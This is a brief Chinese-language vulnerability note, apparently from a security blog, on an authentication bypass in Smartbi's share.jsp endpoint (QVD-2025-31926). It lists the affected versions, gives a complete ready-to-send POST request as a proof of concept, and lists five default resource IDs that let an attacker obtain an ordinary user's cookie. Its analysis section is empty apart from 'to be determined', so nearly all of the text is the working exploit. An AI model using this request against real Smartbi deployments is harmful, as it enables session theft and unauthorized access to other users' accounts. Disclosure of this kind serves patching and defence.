Smartbi share.jsp 权限绕过（QVD-2025-31926）
声明
本文版权归原作者所有，未经允许禁止转载。
/smartbi/vision/share.jsp 接口存在逻辑缺陷，攻击者可通过默认资源 ID 获取普通用户 Cookie。
影响版本
Smartbi <= 11.0.99471.25193
漏洞复现
POC：
POST /smartbi/vision/share.jsp HTTP/1.1
Host: 172.16.31.34:18080
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="139", "Not;A=Brand";v="24", "Google Chrome";v="139"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 38
resid=96a0a9d0b86f90d5416d013f4cfe2f23默认资源 ID 列表：
96a0a9d0b86f90d5416d013f4cfe2f23
Iff808081017e7bff7bff1888017e8108eeec09bb
b904ab9f5a84712a672523a7b4881ee4
c9c298ba657587c42cba00490b5b07a9
Iff808081017ee2a0e2a05606017ee66b4a312301
漏洞分析
待定。